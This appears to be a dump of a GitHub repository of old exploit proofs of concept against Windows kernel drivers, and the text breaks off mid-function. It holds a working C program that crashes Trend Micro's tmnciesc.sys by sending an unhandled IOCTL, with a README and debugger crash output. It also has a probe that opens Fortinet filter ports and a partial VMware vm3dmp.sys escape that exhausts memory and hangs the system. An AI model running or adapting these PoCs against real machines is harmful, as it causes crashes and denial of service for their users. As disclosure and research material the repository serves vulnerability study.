152 | ffffa701`a927e730 fffff80d`370e172d : 00000000`00000000 00000000`00000002 ffffbd00`51e51fb0 ffffbd00`544de900 : IntelHaxm+0xa286
153 | ffffa701`a927e760 fffff80d`370e1adf : ffffbd00`51728ef0 00000000`00000000 00000000`00000001 ffffbd00`5192e800 : IntelHaxm+0x172d
154 | ffffa701`a927e7f0 fffff801`a1cdf280 : ffffbd00`51728ef0 ffffa701`a927eb80 00000000`00000001 ffffbd00`00000000 : IntelHaxm+0x1adf
155 | ffffa701`a927e820 fffff801`a1cde164 : ffffbd00`00000000 ffffbd00`51728e04 00000000`00000000 ffffa701`a927eb80 : nt!IopSynchronousServiceTail+0x1a0
156 | ffffa701`a927e8e0 fffff801`a1cddae6 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0x674
157 | ffffa701`a927ea20 fffff801`a19cef93 : 00000000`0000009c 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtDeviceIoControlFile+0x56
158 | ffffa701`a927ea90 00007ffb`7c534f34 : 00007ffb`7972ca53 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
159 | 00000042`95aff4b8 00007ffb`7972ca53 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!NtDeviceIoControlFile+0x14
160 | 00000042`95aff4c0 00007ffb`7a5966c0 : 00000000`40002430 00000000`0000009c 00000000`00000003 00000042`00000000 : KERNELBASE!DeviceIoControl+0x73
161 | 00000042`95aff530 00007ff6`a6dc16d4 : 00000000`0000009c 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!DeviceIoControlImplementation+0x80
162 | 00000042`95aff580 00000000`0000009c : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : TestDrivers!test_bug_hax_vm_vcpu+0xb4
163 | 00000042`95aff588 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x9c
164 | 
165 | MODULE_NAME: memory_corruption
166 | 
167 | IMAGE_NAME:  memory_corruption
168 | 
169 | FOLLOWUP_NAME:  memory_corruption
170 | 
171 | MEMORY_CORRUPTOR:  LARGE
172 | 
173 | FAILURE_BUCKET_ID:  MEMORY_CORRUPTION_LARGE
174 | 
175 | BUCKET_ID:  MEMORY_CORRUPTION_LARGE
176 | 
177 | PRIMARY_PROBLEM_CLASS:  MEMORY_CORRUPTION_LARGE
178 | 
179 | TARGET_TIME:  2016-10-14T09:31:07.000Z
180 | 
181 | OSBUILD:  14393
182 | 
183 | OSSERVICEPACK:  0
184 | 
185 | SERVICEPACK_NUMBER: 0
186 | 
187 | OS_REVISION: 0
188 | 
189 | SUITE_MASK:  272
190 | 
191 | PRODUCT_TYPE:  1
192 | 
193 | OSPLATFORM_TYPE:  x64
194 | 
195 | OSNAME:  Windows 10
196 | 
197 | OSEDITION:  Windows 10 WinNt TerminalServer SingleUserTS
198 | 
199 | OS_LOCALE:
200 | 
201 | USER_LCID:  0
202 | 
203 | OSBUILD_TIMESTAMP:  2016-10-05 06:17:53
204 | 
205 | BUILDDATESTAMP_STR:  161004-2338
206 | 
207 | BUILDLAB_STR:  rs1_release_inmarket
208 | 
209 | BUILDOSVER_STR:  10.0.14393.321.amd64fre.rs1_release_inmarket.161004-2338
210 | 
211 | ANALYSIS_SESSION_ELAPSED_TIME: 4d6c
212 | 
213 | ANALYSIS_SOURCE:  KM
214 | 
215 | FAILURE_ID_HASH_STRING:  km:memory_corruption_large
216 | 
217 | FAILURE_ID_HASH:  {e29154ac-69a4-0eb8-172a-a860f73c0a3c}
218 | 
219 | Followup:     memory_corruption
220 | ---------
221 | 
222 | 1: kd>
223 | ```
224 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
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667 | <http://www.gnu.org/licenses/>.
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669 |   The GNU General Public License does not permit incorporating your program
670 | into proprietary programs.  If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
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673 | Public License instead of this License.  But first, please read
674 | <http://www.gnu.org/philosophy/why-not-lgpl.html>.
675 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # misc_exploits_pocs
2 | 
3 | Miscellaneous old Exploit code and PoCs
4 | 


--------------------------------------------------------------------------------
/TestingFltCommunicationPort/TestFltCommunicationPort.c:
--------------------------------------------------------------------------------
 1 | // TestFltCommunicationPort.cpp : Defines the entry point for the console application.
 2 | //
 3 | 
 4 | #include "stdafx.h"
 5 | #include <Windows.h>
 6 | 
 7 | typedef HRESULT (* _FilterConnectCommunicationPort)(
 8 |     IN LPCWSTR lpPortName,
 9 |     IN DWORD dwOptions,
10 |     IN LPCVOID lpContext,
11 | 	IN WORD dwSizeOfContext,
12 |     IN LPSECURITY_ATTRIBUTES lpSecurityAttributes,
13 | 	OUT HANDLE hPort
14 |     );
15 | 
16 | _FilterConnectCommunicationPort FilterConnectCommuicationPort = NULL;
17 | 
18 | int _tmain(int argc, _TCHAR* argv[])
19 | {
20 | 	HANDLE hFortimon3FilterAbortPort;
21 | 	HANDLE hFortimon3FilterQueryPort;
22 | 	HANDLE hFortimon3FilterSandBoxScanPort;
23 | 	HANDLE hFortimon3FilterScanPort;
24 | 	HANDLE hFortiShieldPort;
25 | 	HMODULE FltLibBase = LoadLibraryA("FltLib.dll");	
26 | 	printf("Library Opened %08x\n", FltLibBase);
27 | 	FilterConnectCommuicationPort = (_FilterConnectCommunicationPort) GetProcAddress(FltLibBase, "FilterConnectCommunicationPort");
28 | 	printf("FilterConnectCommuicationPort Resolved at %08x\n", FilterConnectCommuicationPort);
29 | 	FilterConnectCommuicationPort(L"\\Fortimon3FilterAbortPort", 0, NULL, 0, NULL, &hFortimon3FilterAbortPort);
30 | 	printf("Fortimon3FilterAbortPort Handle: %08x\n", hFortimon3FilterAbortPort);
31 | 
32 | 	FilterConnectCommuicationPort(L"\\Fortimon3FilterQueryPort", 0, NULL, 0, NULL, &hFortimon3FilterQueryPort);
33 | 	printf("Fortimon3FilterQueryPort Handle: %08x\n", hFortimon3FilterQueryPort);
34 | 
35 | 	FilterConnectCommuicationPort(L"\\Fortimon3FilterSandBoxScanPort", 0, NULL, 0, NULL, &hFortimon3FilterSandBoxScanPort);
36 | 	printf("Fortimon3FilterSandBoxScanPort Handle: %08x\n", hFortimon3FilterSandBoxScanPort);
37 | 
38 | 	FilterConnectCommuicationPort(L"\\Fortimon3FilterScanPort", 0, NULL, 0, NULL, &hFortimon3FilterScanPort);
39 | 	printf("Fortimon3FilterScanPort Handle: %08x\n", hFortimon3FilterScanPort);
40 | 
41 | 	FilterConnectCommuicationPort(L"\\FortiShieldPort", 0, NULL, 0, NULL, &hFortiShieldPort);
42 | 	printf("FortiShieldPort Handle: %08x\n", hFortiShieldPort);
43 | 	getchar();
44 | 	return 0;
45 | }


--------------------------------------------------------------------------------
/TrendMicro_Security_Kernel_Driver_Null_Pointer_Dereference_Vulnerability/DebugInformation.txt:
--------------------------------------------------------------------------------
  1 | tmnciesc+0x536d:
  2 | 9211f36d 891e            mov     dword ptr [esi],ebx
  3 | kd> r
  4 | eax=9215b8c0 ebx=e0400001 ecx=00222503 edx=00000004 esi=00000000 edi=00000004
  5 | eip=9211f36d esp=91959ae4 ebp=91959afc iopl=0         nv up ei pl zr na pe nc
  6 | cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
  7 | tmnciesc+0x536d:
  8 | 9211f36d 891e            mov     dword ptr [esi],ebx  ds:0023:00000000=????????
  9 | kd> dd esi
 10 | 00000000  ???????? ???????? ???????? ????????
 11 | 00000010  ???????? ???????? ???????? ????????
 12 | 00000020  ???????? ???????? ???????? ????????
 13 | 00000030  ???????? ???????? ???????? ????????
 14 | 00000040  ???????? ???????? ???????? ????????
 15 | 00000050  ???????? ???????? ???????? ????????
 16 | 00000060  ???????? ???????? ???????? ????????
 17 | 00000070  ???????? ???????? ???????? ????????
 18 | kd> !analyze -v
 19 | Connected to Windows 7 7601 x86 compatible target at (Sun May  1 19:03:27.780 2016 (UTC - 5:00)), ptr64 FALSE
 20 | Loading Kernel Symbols
 21 | ...............................................................
 22 | ................................................................
 23 | .........................................
 24 | Loading User Symbols
 25 | .......................
 26 | Loading unloaded module list
 27 | .....
 28 | *** ERROR: Module load completed but symbols could not be loaded for tmnciesc.sys
 29 | 
 30 | ************* Symbol Loading Error Summary **************
 31 | Module name            Error
 32 | tmnciesc               PDB not found : cache*
 33 |                        The system cannot find the file specified : SRV*https://msdl.microsoft.com/download/symbols
 34 | 
 35 | You can troubleshoot most symbol related issues by turning on symbol loading diagnostics (!sym noisy) and repeating the command that caused symbols to be loaded.
 36 | You should also verify that your symbol search path (.sympath) is correct.
 37 | *******************************************************************************
 38 | *                                                                             *
 39 | *                        Bugcheck Analysis                                    *
 40 | *                                                                             *
 41 | *******************************************************************************
 42 | 
 43 | Unknown bugcheck code (0)
 44 | Unknown bugcheck description
 45 | Arguments:
 46 | Arg1: 00000000
 47 | Arg2: 00000000
 48 | Arg3: 00000000
 49 | Arg4: 00000000
 50 | 
 51 | Debugging Details:
 52 | ------------------
 53 | 
 54 | *** ERROR: Module load completed but symbols could not be loaded for tmicro1.exe
 55 | 
 56 | 
 57 | 
 58 | 
 59 | 
 60 | 
 61 | DUMP_CLASS: 1
 62 | 
 63 | DUMP_QUALIFIER: 0
 64 | 
 65 | BUILD_VERSION_STRING:  7601.18247.x86fre.win7sp1_gdr.130828-1532
 66 | 
 67 | DUMP_TYPE:  0
 68 | 
 69 | BUGCHECK_P1: 0
 70 | 
 71 | BUGCHECK_P2: 0
 72 | 
 73 | BUGCHECK_P3: 0
 74 | 
 75 | BUGCHECK_P4: 0
 76 | 
 77 | PROCESS_NAME:  tmicro1.exe
 78 | 
 79 | FAULTING_IP:
 80 | tmnciesc+536d
 81 | 9211f36d 891e            mov     dword ptr [esi],ebx
 82 | 
 83 | ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
 84 | 
 85 | EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
 86 | 
 87 | EXCEPTION_CODE_STR:  c0000005
 88 | 
 89 | EXCEPTION_PARAMETER1:  00000001
 90 | 
 91 | EXCEPTION_PARAMETER2:  00000000
 92 | 
 93 | WRITE_ADDRESS:  00000000
 94 | 
 95 | FOLLOWUP_IP:
 96 | tmnciesc+536d
 97 | 9211f36d 891e            mov     dword ptr [esi],ebx
 98 | 
 99 | BUGCHECK_STR:  ACCESS_VIOLATION
100 | 
101 | DEFAULT_BUCKET_ID:  NULL_DEREFERENCE
102 | 
103 | CPU_COUNT: 1
104 | 
105 | CPU_MHZ: a20
106 | 
107 | CPU_VENDOR:  GenuineIntel
108 | 
109 | CPU_FAMILY: 6
110 | 
111 | CPU_MODEL: 5e
112 | 
113 | CPU_STEPPING: 3
114 | 
115 | CPU_MICROCODE: 6,5e,3,0 (F,M,S,R)  SIG: 33'00000000 (cache) 33'00000000 (init)
116 | 
117 | CURRENT_IRQL:  0
118 | 
119 | ANALYSIS_SESSION_HOST:  KIQUE-ASUS
120 | 
121 | ANALYSIS_SESSION_TIME:  05-01-2016 19:03:29.0216
122 | 
123 | ANALYSIS_VERSION: 10.0.10586.567 amd64fre
124 | 
125 | LAST_CONTROL_TRANSFER:  from 82886c1e to 9211f36d
126 | 
127 | STACK_TEXT:
128 | WARNING: Stack unwind information not available. Following frames may be wrong.
129 | 91959afc 82886c1e 868cea90 86abdc70 86abdc70 tmnciesc+0x536d
130 | 91959b14 82a7abf9 86a3f990 86abdc70 86abdce0 nt!IofCallDriver+0x63
131 | 91959b34 82a7dde2 868cea90 86a3f990 00000000 nt!IopSynchronousServiceTail+0x1f8
132 | 91959bd0 82ac4779 868cea90 86abdc70 00000000 nt!IopXxxControlFile+0x6aa
133 | 91959c04 8288d8c6 0000007c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
134 | 91959c04 770470f4 0000007c 00000000 00000000 nt!KiSystemServicePostCall
135 | 0025f8dc 770458a4 752c9815 0000007c 00000000 ntdll!KiFastSystemCallRet
136 | 0025f8e0 752c9815 0000007c 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
137 | 0025f940 7691b9b5 0000007c 00222503 00425448 KERNELBASE!DeviceIoControl+0xf6
138 | 0025f96c 000b1096 0000007c 00222503 00425448 kernel32!DeviceIoControlImplementation+0x80
139 | 0025f9f0 000b17bf 00000001 00381a48 00381a70 tmicro1+0x1096
140 | 0025fa38 7691ed6c 7ffdf000 0025fa84 770637eb tmicro1+0x17bf
141 | 0025fa44 770637eb 7ffdf000 7722dd25 00000000 kernel32!BaseThreadInitThunk+0xe
142 | 0025fa84 770637be 000b1815 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70
143 | 0025fa9c 00000000 000b1815 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b
144 | 
145 | 
146 | STACK_COMMAND:  kb
147 | 
148 | THREAD_SHA1_HASH_MOD_FUNC:  69acd9febe2955034ea62a06581789eb1d327364
149 | 
150 | THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  80f1022b8681895869dcd6cc3a239c61c8f50f2e
151 | 
152 | THREAD_SHA1_HASH_MOD:  b42d12a48ed78de7b9bb4562a5263b7a8bfddd33
153 | 
154 | FAULT_INSTR_CODE:  5d8b1e89
155 | 
156 | SYMBOL_STACK_INDEX:  0
157 | 
158 | SYMBOL_NAME:  tmnciesc+536d
159 | 
160 | FOLLOWUP_NAME:  MachineOwner
161 | 
162 | MODULE_NAME: tmnciesc
163 | 
164 | IMAGE_NAME:  tmnciesc.sys
165 | 
166 | DEBUG_FLR_IMAGE_TIMESTAMP:  5343767d
167 | 
168 | FAILURE_BUCKET_ID:  ACCESS_VIOLATION_tmnciesc+536d
169 | 
170 | BUCKET_ID:  ACCESS_VIOLATION_tmnciesc+536d
171 | 
172 | PRIMARY_PROBLEM_CLASS:  ACCESS_VIOLATION_tmnciesc+536d
173 | 
174 | TARGET_TIME:  2016-05-02T00:02:35.000Z
175 | 
176 | OSBUILD:  7601
177 | 
178 | OSSERVICEPACK:  0
179 | 
180 | SERVICEPACK_NUMBER: 0
181 | 
182 | OS_REVISION: 0
183 | 
184 | SUITE_MASK:  272
185 | 
186 | PRODUCT_TYPE:  1
187 | 
188 | OSPLATFORM_TYPE:  x86
189 | 
190 | OSNAME:  Windows 7
191 | 
192 | OSEDITION:  Windows 7 WinNt TerminalServer SingleUserTS
193 | 
194 | OS_LOCALE:
195 | 
196 | USER_LCID:  0
197 | 
198 | OSBUILD_TIMESTAMP:  2013-08-28 19:58:30
199 | 
200 | BUILDDATESTAMP_STR:  130828-1532
201 | 
202 | BUILDLAB_STR:  win7sp1_gdr
203 | 
204 | BUILDOSVER_STR:  6.1.7601.18247.x86fre.win7sp1_gdr.130828-1532
205 | 
206 | ANALYSIS_SESSION_ELAPSED_TIME: 7ac0
207 | 
208 | ANALYSIS_SOURCE:  KM
209 | 
210 | FAILURE_ID_HASH_STRING:  km:access_violation_tmnciesc+536d
211 | 
212 | FAILURE_ID_HASH:  {1909e9f8-d8a8-1bdf-3666-3d3a304510a7}
213 | 
214 | Followup:     MachineOwner
215 | ---------
216 | 
217 | kd> Implicit thread is now 869a1030
218 | kd> Implicit thread is now 869a1030
219 | kd> Implicit thread is now 869a1030
220 | kd> Implicit thread is now 869a1030
221 | kd> Implicit thread is now 869a1030


--------------------------------------------------------------------------------
/TrendMicro_Security_Kernel_Driver_Null_Pointer_Dereference_Vulnerability/README.md:
--------------------------------------------------------------------------------
 1 | # Trend Micro Security Kernel Driver Null Pointer Dereference Vulnerability
 2 | 
 3 | * Affected driver: tmnciesc.sys 3.0
 4 | 
 5 | https://esupport.trendmicro.com/en-us/home/pages/technical-support/1115282.aspx
 6 | http://www.zerodayinitiative.com/advisories/ZDI-16-529/
 7 | 
 8 | The issue exists because the IOCTL Dispatch Routine of the driver tmnciesc.sys is not handling well IOCTL codes which doesn't exists. At the very end of the dispatch routine, the driver tries to write a value to the OutputBuffer (IRP->SystemBuffer); this pointer however will be null in the case of an IOCTL of type Neither. This produces a driver fault and ultimately, a BSOD.
 9 | 
10 | ![alt tag](https://github.com/n3k/misc_exploits_pocs/blob/master/Trendmicro_BSOD/bsod.PNG)
11 | 


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/TrendMicro_Security_Kernel_Driver_Null_Pointer_Dereference_Vulnerability/bsod.PNG:
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https://raw.githubusercontent.com/n3k/misc_exploits_pocs/05d5cedfd832d083b8f043ef711a4067b7f7e02a/TrendMicro_Security_Kernel_Driver_Null_Pointer_Dereference_Vulnerability/bsod.PNG


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/TrendMicro_Security_Kernel_Driver_Null_Pointer_Dereference_Vulnerability/tmicro1.cpp:
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 1 | // tmicro1.cpp : Defines the entry point for the console application.
 2 | //
 3 | 
 4 | #include "stdafx.h"
 5 | #include <Windows.h>
 6 | 
 7 | 
 8 | int _tmain(int argc, _TCHAR* argv[])
 9 | {
10 | 	DWORD bytesReturned = 0;
11 | 	PVOID inbuff = NULL;
12 | 	int status;
13 | 	HANDLE hDevice = CreateFileA("\\\\.\\tmnciesc", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING,	0, NULL); 
14 | 	if (hDevice == (HANDLE)-1)
15 | 	{
16 | 	  printf("Device couldn't be opened... \n");
17 | 	  exit(-1);
18 | 	}
19 | 
20 | 	inbuff = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PVOID));
21 | 	memset(inbuff, 0x90, sizeof(PVOID));
22 | 
23 | 	status = DeviceIoControl(hDevice, 0x00222503, inbuff, sizeof(PVOID), inbuff, sizeof(PVOID), &bytesReturned, NULL);
24 | 	printf("DeviceIOControl Status: %llx\n", status);
25 | 
26 | 	HeapFree(GetProcessHeap(), 0, inbuff);
27 | 	CloseHandle(hDevice);	
28 | 	return 0;
29 | }
30 | 
31 | 


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/VMware_SVGA_Driver_Hang/README.md:
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 1 | # vm3dmp.sys Escape => VM Hang
 2 | 
 3 | The VMware display driver that is installed with vmtools vm3dmp.sys in its version 8.14.01.0051-build-2009154 is vulnerable to a local denial of service attack.
 4 | 
 5 | ![alt tag](https://github.com/n3k/misc_exploits_pocs/blob/master/VMware_SVGA_Driver_Hang/controlled_ObReferenecObjectByHandle.png)
 6 | 
 7 | There is a particular escape operation that allows a user application to create a kernel reference to an Event object while at the same time, allocating a pool of memory. This can be called multiple times thus incrementing the reference count of the object. At some point, the OS stops responding given that all the memory was consumed.  
 8 | 
 9 | ![alt tag](https://github.com/n3k/misc_exploits_pocs/blob/master/VMware_SVGA_Driver_Hang/event_references.png)
10 | 


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/VMware_SVGA_Driver_Hang/event_references.png:
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/VMware_SVGA_Driver_Hang/vm3dmp_escape_hang.cpp:
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  1 | // TestVmwareEscape1.cpp : Defines the entry point for the console application.
  2 | //
  3 | 
  4 | #include "stdafx.h"
  5 | //#include <d3dkmthk.h>
  6 | #include <windows.h>
  7 | 
  8 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
  9 | 
 10 | 
 11 | typedef UINT D3DKMT_HANDLE;
 12 | typedef UINT  D3DDDI_VIDEO_PRESENT_SOURCE_ID;
 13 | 
 14 | 
 15 | 
 16 | typedef struct _D3DDDI_ALLOCATIONLIST {
 17 | 	D3DKMT_HANDLE hAllocation;
 18 | 	union {
 19 | 		struct {
 20 | 			UINT WriteOperation : 1;
 21 | 			UINT DoNotRetireInstance : 1;
 22 | #if ((DXGKDDI_INTERFACE_VERSION >= DXGKDDI_INTERFACE_VERSION_WIN8) || \
 23 |      (D3D_UMD_INTERFACE_VERSION >= D3D_UMD_INTERFACE_VERSION_WIN8))
 24 | 
 25 | 			UINT OfferPriority : 3;
 26 | #else 
 27 | 			UINT Reserved : 27;
 28 | #endif 
 29 | 			UINT Reserved : 30;
 30 | 		};
 31 | 		UINT Value;
 32 | 	};
 33 | } D3DDDI_ALLOCATIONLIST;
 34 | 
 35 | typedef struct _D3DDDI_PATCHLOCATIONLIST {
 36 | 	UINT  AllocationIndex;
 37 | 	union {
 38 | 		struct {
 39 | 			UINT SlotId : 24;
 40 | 			UINT Reserved : 8;
 41 | 		};
 42 | 		UINT   Value;
 43 | 	};
 44 | 	UINT  DriverId;
 45 | 	UINT  AllocationOffset;
 46 | 	UINT  PatchOffset;
 47 | 	UINT  SplitOffset;
 48 | } D3DDDI_PATCHLOCATIONLIST;
 49 | 
 50 | typedef struct _D3DKMT_CREATEDEVICEFLAGS {
 51 | 	UINT LegacyMode : 1;
 52 | 	UINT RequestVSync : 1;
 53 | #if (DXGKDDI_INTERFACE_VERSION >= DXGKDDI_INTERFACE_VERSION_WIN8)
 54 | 	UINT DisableGpuTimeout : 1;
 55 | 	UINT Reserved : 29;
 56 | #else 
 57 | 	UINT Reserved : 30;
 58 | #endif 
 59 | } D3DKMT_CREATEDEVICEFLAGS;
 60 | 
 61 | typedef struct _D3DKMT_CREATEDEVICE {
 62 | 	union {
 63 | 		D3DKMT_HANDLE hAdapter;
 64 | 		VOID          *pAdapter;
 65 | 	};
 66 | 	D3DKMT_CREATEDEVICEFLAGS Flags;
 67 | 	D3DKMT_HANDLE            hDevice;
 68 | 	VOID                     *pCommandBuffer;
 69 | 	UINT                     CommandBufferSize;
 70 | 	D3DDDI_ALLOCATIONLIST    *pAllocationList;
 71 | 	UINT                     AllocationListSize;
 72 | 	D3DDDI_PATCHLOCATIONLIST *pPatchLocationList;
 73 | 	UINT                     PatchLocationListSize;
 74 | } D3DKMT_CREATEDEVICE;
 75 | 
 76 | typedef struct _D3DKMT_OPENADAPTERFROMHDC {
 77 | 	HDC                            hDc;
 78 | 	D3DKMT_HANDLE                  hAdapter;
 79 | 	LUID                           AdapterLuid;
 80 | 	D3DDDI_VIDEO_PRESENT_SOURCE_ID VidPnSourceId;
 81 | } D3DKMT_OPENADAPTERFROMHDC;
 82 | 
 83 | typedef struct _D3DDDI_CREATECONTEXTFLAGS {
 84 | 	union {
 85 | 		struct {
 86 | 			UINT NullRendering : 1;
 87 | 			UINT InitialData : 1;
 88 | 			UINT Reserved : 30;
 89 | 		};
 90 | 		UINT   Value;
 91 | 	};
 92 | } D3DDDI_CREATECONTEXTFLAGS;
 93 | 
 94 | 
 95 | typedef enum _D3DKMT_CLIENTHINT
 96 | {
 97 | 	D3DKMT_CLIENTHINT_UNKNOWN = 0,
 98 | 	D3DKMT_CLIENTHINT_OPENGL = 1,
 99 | 	D3DKMT_CLIENTHINT_CDD = 2,       // Internal   ;internal
100 | 	D3DKMT_CLIENTHINT_DX7 = 7,
101 | 	D3DKMT_CLIENTHINT_DX8 = 8,
102 | 	D3DKMT_CLIENTHINT_DX9 = 9,
103 | 	D3DKMT_CLIENTHINT_DX10 = 10,
104 | } D3DKMT_CLIENTHINT;
105 | 
106 | typedef struct _D3DKMT_CREATECONTEXT {
107 | 	D3DKMT_HANDLE             hDevice;
108 | 	UINT                      NodeOrdinal;
109 | 	UINT                      EngineAffinity;
110 | 	D3DDDI_CREATECONTEXTFLAGS Flags;
111 | 	VOID                      *pPrivateDriverData;
112 | 	UINT                      PrivateDriverDataSize;
113 | 	D3DKMT_CLIENTHINT         ClientHint;
114 | 	D3DKMT_HANDLE             hContext;
115 | 	VOID                      *pCommandBuffer;
116 | 	UINT                      CommandBufferSize;
117 | 	D3DDDI_ALLOCATIONLIST     *pAllocationList;
118 | 	UINT                      AllocationListSize;
119 | 	D3DDDI_PATCHLOCATIONLIST  *pPatchLocationList;
120 | 	UINT                      PatchLocationListSize;
121 | 	VOID					  *CommandBuffer;
122 | } D3DKMT_CREATECONTEXT;
123 | 
124 | 
125 | typedef enum _D3DKMT_ESCAPETYPE
126 | {
127 | 	D3DKMT_ESCAPE_DRIVERPRIVATE = 0,
128 | 	D3DKMT_ESCAPE_VIDMM = 1,
129 | 	D3DKMT_ESCAPE_TDRDBGCTRL = 2,
130 | 	D3DKMT_ESCAPE_VIDSCH = 3,
131 | 	D3DKMT_ESCAPE_DEVICE = 4,
132 | 	D3DKMT_ESCAPE_DMM = 5,
133 | 	D3DKMT_ESCAPE_DEBUG_SNAPSHOT = 6,
134 | 	D3DKMT_ESCAPE_SETDRIVERUPDATESTATUS = 7
135 | } D3DKMT_ESCAPETYPE;
136 | 
137 | typedef struct _D3DDDI_ESCAPEFLAGS {
138 | 	union {
139 | 		struct {
140 | 			UINT HardwareAccess : 1;
141 | #if ((DXGKDDI_INTERFACE_VERSION >= DXGKDDI_INTERFACE_VERSION_WDDM1_3) || \
142 |      (D3D_UMD_INTERFACE_VERSION >= D3D_UMD_INTERFACE_VERSION_WDDM1_3))
143 | 
144 | 			UINT DeviceStatusQuery : 1;
145 | 			UINT ChangeFrameLatency : 1;
146 | 			UINT Reserved : 29;
147 | #else 
148 | 			UINT Reserved : 31;
149 | #endif 
150 | 		};
151 | 		UINT   Value;
152 | 	};
153 | } D3DDDI_ESCAPEFLAGS;
154 | 
155 | typedef struct _D3DKMT_ESCAPE {
156 | 	D3DKMT_HANDLE      hAdapter;
157 | 	D3DKMT_HANDLE      hDevice;
158 | 	D3DKMT_ESCAPETYPE  Type;
159 | 	D3DDDI_ESCAPEFLAGS Flags;
160 | 	VOID               *pPrivateDriverData;
161 | 	UINT               PrivateDriverDataSize;
162 | 	D3DKMT_HANDLE      hContext;
163 | } D3DKMT_ESCAPE;
164 | 
165 | 
166 | typedef NTSTATUS(NTAPI *_D3DKMTOpenAdapterFromHdc)
167 | (
168 | 	D3DKMT_OPENADAPTERFROMHDC *pData
169 | 	);
170 | 
171 | typedef NTSTATUS(NTAPI *_D3DKMTEscape)
172 | (
173 | 	D3DKMT_ESCAPE *pData
174 | 	);
175 | 
176 | typedef NTSTATUS(NTAPI *_D3DKMTCreateDevice)
177 | (
178 | 	D3DKMT_CREATEDEVICE *pData
179 | );
180 | 
181 | typedef NTSTATUS(NTAPI *_D3DKMTCreateContext)
182 | (
183 | 	D3DKMT_CREATECONTEXT *pData
184 | );
185 | 
186 | 
187 | HMODULE hModuleGdi32 = NULL;
188 | _D3DKMTOpenAdapterFromHdc D3DKMTOpenAdapterFromHdc = NULL;
189 | _D3DKMTEscape D3DKMTEscape = NULL;
190 | _D3DKMTCreateDevice D3DKMTCreateDevice = NULL;
191 | _D3DKMTCreateContext D3DKMTCreateContext = NULL;
192 | 
193 | typedef struct _DRIVER_INFO {
194 | 	HDC                  hDC;
195 | 	D3DKMT_HANDLE        hAdapter;
196 | 	D3DKMT_CREATEDEVICE  device;
197 | 	D3DKMT_CREATECONTEXT context;
198 | } DRIVER_INFO, *PDRIVER_INFO;
199 | 
200 | 
201 | void show_display_devices(void)
202 | {
203 | 	int display_number = 0;
204 | 	PDISPLAY_DEVICEA pDisplayDevice = (PDISPLAY_DEVICEA)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(DISPLAY_DEVICEA));
205 | 	pDisplayDevice->cb = sizeof(DISPLAY_DEVICEA);
206 | 	while (EnumDisplayDevicesA(NULL, display_number, pDisplayDevice, EDD_GET_DEVICE_INTERFACE_NAME))
207 | 	{
208 | 		printf("DeviceName: %s\n", pDisplayDevice->DeviceName);
209 | 		printf("DeviceString: %s\n", pDisplayDevice->DeviceString);
210 | 		memset(pDisplayDevice, 0x00, sizeof(DISPLAY_DEVICEA));
211 | 		pDisplayDevice->cb = sizeof(DISPLAY_DEVICEA);
212 | 		display_number++;
213 | 	}
214 | 	HeapFree(GetProcessHeap(), 0, pDisplayDevice);
215 | }
216 | 
217 | void resolve_functions(void) 
218 | {
219 | 	hModuleGdi32 = LoadLibraryA("gdi32.dll");
220 | 	D3DKMTOpenAdapterFromHdc = (_D3DKMTOpenAdapterFromHdc)GetProcAddress(hModuleGdi32, "D3DKMTOpenAdapterFromHdc");
221 | 	D3DKMTCreateDevice = (_D3DKMTCreateDevice)GetProcAddress(hModuleGdi32, "D3DKMTCreateDevice");
222 | 	D3DKMTCreateContext = (_D3DKMTCreateContext)GetProcAddress(hModuleGdi32, "D3DKMTCreateContext");
223 | 	D3DKMTEscape = (_D3DKMTEscape)GetProcAddress(hModuleGdi32, "D3DKMTEscape");
224 | }
225 | 
226 | 
227 | NTSTATUS initDriver(PDRIVER_INFO pDriverInfo)
228 | {
229 | 	int iDispIndex = 0;
230 | 	D3DKMT_OPENADAPTERFROMHDC oafh;
231 | 	HDC hdc = NULL;
232 | 	DISPLAY_DEVICEA dd;
233 | 	NTSTATUS status = E_FAIL;
234 | 	int i;
235 | 
236 | 	memset(&dd, 0, sizeof(dd));
237 | 	dd.cb = sizeof(dd);
238 | 
239 | 	for (i = 0; EnumDisplayDevicesA(NULL, i, &dd, 0); ++i) {
240 | 		if (dd.StateFlags & DISPLAY_DEVICE_PRIMARY_DEVICE) {
241 | 			break;
242 | 		}
243 | 	}
244 | 
245 | 	hdc = CreateDCA(NULL, dd.DeviceName, NULL, NULL);
246 | 
247 | 	if (hdc == NULL) {
248 | 		printf("Failed to CreateDC");
249 | 		return E_FAIL;
250 | 	}
251 | 	pDriverInfo->hDC = hdc;
252 | 
253 | 	// Get adapter from hDC
254 | 	oafh.hDc = pDriverInfo->hDC;
255 | 	status = D3DKMTOpenAdapterFromHdc(&oafh);
256 | 
257 | 	if (!NT_SUCCESS(status)) {
258 | 		printf("OpenAdapterFromHdc failed (%x)", status);
259 | 		return status;
260 | 	}
261 | 	pDriverInfo->hAdapter = oafh.hAdapter;
262 | 
263 | 	// Create device
264 | 	pDriverInfo->device.hAdapter = pDriverInfo->hAdapter;
265 | 	status = D3DKMTCreateDevice(&pDriverInfo->device);
266 | 
267 | 	if (!NT_SUCCESS(status)) {
